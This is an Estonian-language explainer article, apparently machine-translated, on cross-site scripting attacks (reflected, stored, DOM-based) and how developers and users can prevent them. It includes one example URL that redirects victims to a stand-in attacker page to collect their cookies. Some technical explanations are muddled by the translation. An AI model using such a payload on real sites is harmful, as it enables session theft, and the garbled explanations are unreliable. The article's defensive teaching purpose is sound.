Kuidas häkkerid kasutavad saididevahelisi skripte veebisaitide rikkumiseks ja andmete varastamiseks

Saididevaheline skriptimine või XSS võib olla tugev ja kiire rünnak. Arendajana võite seda võtta isegi oma koodi vea pärast ja otsida vigu, mida seal pole.

Haavatavat veebisaiti kasutava kliendina saate ka süütult avaldada olulist teavet ründajale juurdepääsu autentimise kohta.

Mis on saididevaheline skriptimine? Kuidas saavad häkkerid seda veebisaidile tungimiseks ja teie andmete varastamiseks kasutada? Ja kuidas saate sellist riski maandada?

Mis on saididevaheline skriptimine?

Saididevaheline skriptimine või XSS toimub siis, kui pahatahtliku veebisaidi skript suhtleb haavatava saidi koodiga.

Kuid serverid on juhtmega viisil, mis takistab autentimata inimestel teie veebisaidi lähtekoodi juurde pääsemist ja selle muutmist.

Internet kasutab saididevaheliste interaktsioonide blokeerimiseks sama päritolupoliitikat (SOP). SOP kontrollib aga kolme suurt turvaauku ja püüab neid leevendada. Nemad on:

• Interneti-protokolli poliitika, mis kontrollib, kas mõlemad veebisaidid edastavad sisu turvalisel SSL-il (HTTPS) või ebaturvalisel URL-il (HTTP).
instagram viewer
• Sama veebi poliitika, mis tagab, et hostite mõlemat veebisaiti samal domeenil.
• Pordipoliitika, mis kontrollib, kas mõlemad veebisaidid kasutavad sarnaseid kommunikatsiooni lõpp-punkte.

SOP leiab, et kui mõni neist eeskirjadest on kahe veebisaidi jaoks erinev, ei saa nad veebi kaudu andmeid lugeda ega vahetada.

Kuid JavaScript on manipuleeriv keel, mis määrab veebisaidi reageerimisvõime. Kuigi teie veebisaidi JavaScript on suure tõenäosusega eraldi failis, saate ka skripti märgendi luua ja selle oma dokumendi objektimudelisse (DOM) kirjutada.

Nii et XSS-i ründaja võib mõelda: "kui saate DOM-is JavaScripti kirjutada, võite selle lõpuks käivitada mis tahes koodiredaktor või sisendväli, mis aktsepteerib HTML-i silte. "

Sellist haavatavust ja juhuslikkust ootab XSS-i kasutav ründaja sihtveebis. Kui nad leiavad sellise lünga, saavad nad SOP-ist mööda minna.

Seotud: Ultimate JavaScripti petulehekülg

XSS on seega rünnak, mida kaaperdajad kasutavad pahatahtlikke toiminguid sooritava skripti haavatavale veebisaidile süstimiseks. Skript võib sihtida andmeid aktsepteerivaid kaitsmata vorme või sisendvälju.

Kuidas saididevaheline skriptimine töötab ja tüübid koos näidetega

XSS võib olla peegeldatud või ajutise skripti kiire täitmine, mille ründaja paigutab vormidesse nagu otsinguväljad. See võib olla ka näriv või püsiv andmebaasi sisestatud. Või võib see tulla passiivselt pärast lehe laadimist.

Mõnel juhul võib see skript muuta ka ohvri algset sisendit, et nende kavatsus kõrvale juhtida. Selline püsiv muutus kasutaja sisendites on muteeruv XSS.

Ükskõik millisel kujul see ka pole, on XSS-rünnaku eesmärk varastada ohvri andmeid paljastatud küpsiste ja logide kaudu.

Vaatame kõigi nende XSS-rünnakutüüpide lühikirjeldust ja nende näiteid, et mõista, mis need on.

Mis on peegeldunud XSS?

Peegelduv või ajutine XSS on JavaScripti otsene sisestamine kasutaja sisendväljale. See sihib päringuid, mis saavad andmebaasist andmeid, näiteks otsingutulemid. Kuid see on ühe kliendi ja sihtmärgi rünnak.

Peegeldunud XSS-i ajal lisab ründaja skripti sihtohvri otsingutermini. Selline JavaScript võib olla kaja, ümbersuunamine või küpsiste koguja.

Otsingu sisendväljale sisestatud skript käivitatakse siis, kui sihtklient päringu esitab.

Näiteks võib ründaja kasutaja otsingu ajal sisestada JavaScripti, mis kajastab vormi, paludes ohvril sisestada oma parool või kasutajanimi. Kui kasutaja seda teeb, võib ta lõpuks oma volitused teadmatult ründajale esitada, arvates, et see on algse saidi taotlus.

Mõnikord võib ründaja skripti abil suunata ka kasutaja haavatavalt lehelt oma lehele. Seal saab ründaja lehel pahaaimamatu kasutaja petta mõne vormi esitamisega, mis viib mandaadi lekkimiseni.

Samamoodi, kui eesmärk on varastada kasutaja seanssi, süstib ründaja küpsiste kogumise skripti kasutaja otsingutermini. Seejärel kaaperdavad nad kasutaja praeguse seansi, varastavad asjakohast teavet ja võtavad ohvri tegevuse üle.

Allpool toodud XSS-rünnaku näide varastab GET-päringu kaudu kasutaja küpsise:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

Ülaltoodud näites XSS leiab ründaja haavatavalt veebisaidilt lünga. Nii et kui kasutaja otsib haavatavalt saidilt kättesaamatut ressurssi, suunab ta ta ründaja lehele. Seejärel koputab ründaja praeguse kasutaja küpsist ja haarab tema seansi.

Kuid see haavatavus on tavaline, kui saidi päringutoimingut ei filtreerita HTML-i kaudu skripti sisestuste kontrollimiseks.

Isegi kui filtreeritud päring on olemas, saab ründaja sellest mööda minna, kasutades selleks meeleheitlikke meetmeid, näiteks linkide saatmist veebisaidi võimalikele reaalajas kasutajatele. Nad saavad seda teha ükskõik millise abil sotsiaalse inseneri vorm neile kättesaadavaks.

Seotud: Mida teha pärast andmepüügirünnaku langemist

Kui ohvrid sellisele lingile klõpsavad, saab kaaperdaja XSS-rünnaku edukalt läbi viia ja ohvrilt asjakohaseid andmeid varastada.

Püsivad või salvestatud saididevahelised skriptid

Salvestatud XSS kujutab endast rohkem ohte. Sel juhul salvestab ründaja skripti veebisaidi andmebaasi, käivitades salvestatud skripti püsiva käivitamise. Salvestatud koodi saab käivitada lehe laadimisel või pärast lehe laadimist.

Erinevalt XSS-i ajutisest vormist on salvestatud XSS suunatud haavatava veebisaidi kogu kasutajabaasile. Lisaks sellele on see suunatud ka mõjutatud veebisaidi terviklikkusele.

Püsiva XSS-i ajal kasutab ründaja skripti veebisaidi andmebaasi postitamiseks sisendvälju, näiteks kommentaarivorme.

Aga mis siis, kui kaitsete POST-välju CSRF-märkidega? Kahjuks möödub salvestatud saididevaheline skriptimine CSRF-kontrollidest.

Seda seetõttu, et ründaja esitab vormi nagu iga teine ​​veebisaidi kasutaja. Niisiis, selline kommentaarivorm saadab skripti andmebaasi nagu ka kõik muud kommentaarid.

Selline rünnak võib juhtuda, kui veebisaidi sisendväljad ei kasuta skriptidest ja HTML-siltidest pääsemiseks õigeid puhastusvahendeid.

Kujutage ette, et kasutaja postitab alloleva skripti veebikommentaaride vormi abil:

Kui ründaja sisestab veebisaidi andmebaasi sellise koodi, suunab ta lehe laadimisel ohvri ründaja veebisaidile. Skript võib olla ka hoiatus, interaktiivne modaalne kast või manustatud pahatahtlik reklaam.

Kuna skript suunab lehelaadimisel ümber, võib ohver, kes ei ole haavatavale veebisaidile tuttav, suunamist märkamata jätta.

Seejärel jätkavad nad ründaja veebisaidiga suhtlemist. Kaaperdaja saab seejärel kasutada ohvritelt teabe saamiseks mitu võimalust, kui nad on nende veebisaidil.

Mis on DOM või passiivne XSS?

DOM-põhine XSS käivitab veebisaidile manustatud pahatahtliku koodi, sundides kogu kliendipoolset DOM-i käituma ebatavaliselt.

Salvestatud ja peegeldatud XSS sihib veebisaidil serveripoolseid päringuid, kuid DOM XSS sihib käitustegevusi. See töötab skripti lisamisega veebisaidi komponenti, mis täidab konkreetset ülesannet. See komponent ei tee serveripoolset toimingut.

Kuid sellisesse komponenti sisestatud skript muudab selle kavatsust täielikult. Kui see komponent täidab DOM-iga seotud ülesannet, näiteks need, mis muudavad veebisaidi elemente, võib skript sundida kogu veebisaiti muutma.

Halvematel juhtudel võib DOM-põhine XSS viga jäljendada. Seda seetõttu, et veebileht muutub ebatavaliselt reaktiivseks.

Kuidas vältida saididevahelise skriptimise rünnakut

XSS-i haavatavus tuleneb parimate taustapraktikate valest kasutamisest. Nii et saididevahelise skriptimise rünnaku ennetamine on tavaliselt arendaja ülesanne. Kuid oma roll on ka kasutajatel.

CSFR-märgi kasutamine sisendväljade jaoks ei tundu lahendus XSS-rünnakutele. Ja kuna see rünnak möödub ka samast päritolupoliitikast, peavad arendajad olema ettevaatlikud, et XSS-i takistavaid turvapraktikaid mitte välja jätta.

Järgmised ennetusmeetmed on arendajatele kasulikud.

Puhasta sisendväljad

Nii salvestatud kui ka ajutise XSS-i vältimiseks peaksite sisestusväljade jaoks kasutama tõhusaid desinfitseerimisvahendeid. Näiteks otsingupäringute desinfitseerimine takistab märgendite sisestamist kasutajate otsinguterminitesse.

Kasutage Unicode'i ja HTML Auto Escape'i

HTML-i ja Unicode'i automaatse põgenemise kasutamine on kasulik, et takistada sisendväljadel nagu kommentaaride ja teisendusvormide skriptide ja HTML-siltide aktsepteerimist. Automaatne põgenemine on tugev ennetav meede salvestatud või püsiva XSS-i vastu.

Lubades kasutajatel märkuste vormidesse märkmeid sisestada, on mis tahes veebisaidi jaoks halb mõte. See on turvarikkumine. Kui peate seda lubama, peaksite aktsepteerima ainult silte, mis ei kujuta endast XSS-i ohtu.

Kasutage sobivat sisendi valideerimist

Isegi kui blokeerite sildid täielikult, saab ründaja siiski XSS-rünnaku läbi viia sotsiaalsete vahenditega. Nad saavad saata e-kirju, selle asemel et midagi otse haavatavale veebisaidile paigutada.

Nii et teine ​​meetod selle ärahoidmiseks on sisendite tõhus valideerimine. Sellised meetmed hõlmavad protokollide kinnitamist ja tagamist, et teie veebisait aktsepteerib ainult sisendeid turvalisest HTTPS-ist, mitte HTTP-st.

Spetsiaalsete JavaScripti teekide, nagu dompurify, kasutamine võib aidata blokeerida ka XSS-iga seotud turvarikkumisi.

Võite kasutada selliseid tööriistu nagu XSS-skanner või GEEKFLARE oma veebisaidil XSS-i haavatavuste tuvastamiseks.

Kuidas kasutajad saavad XSS-i ära hoida

Täna on Internetis miljoneid veebisaite. Nii et vaevalt oskate öelda, kummal on XSS-i turvaprobleeme.

Kasutajana peaksite enne selle kasutamist siiski veenduma, et olete tuttav mis tahes veebiteenusega. Kui veebileht muutub äkitselt jube või hakkab käituma ebatavaliselt, võib see olla punane lipp.

Ükskõik mis juhtum on, olge ettevaatlik ja ärge avaldage isikuandmeid ebausaldusväärse kolmanda osapoolega. Seejärel otsige soovimatuid e-kirju või kahtlaseid sotsiaalmeedia postitusi, mis võivad põhjustada mis tahes andmepüügirünnakute vormis.

Ükski ennetav meetod ei sobi kõigile

Oleme näinud, kuidas XSS-rünnak välja näeb ja kuidas seda ära hoida. XSS-i turvakontrolli on arenduse käigus lihtne unustada. Seega peaksid arendajad võtma meetmeid tagamaks, et kaitset ei jäetaks kasutamata. Kuid varem loetletud ennetusmeetmete kombinatsioon töötab paremini.

Mis on CSRF-i rünnakud ja kuidas saate neid ära hoida?

CSRF-i rünnakute sularaha ja mandaatide kaotamise peatamiseks on oma roll nii arendajatel kui ka kasutajatel.

Autori kohta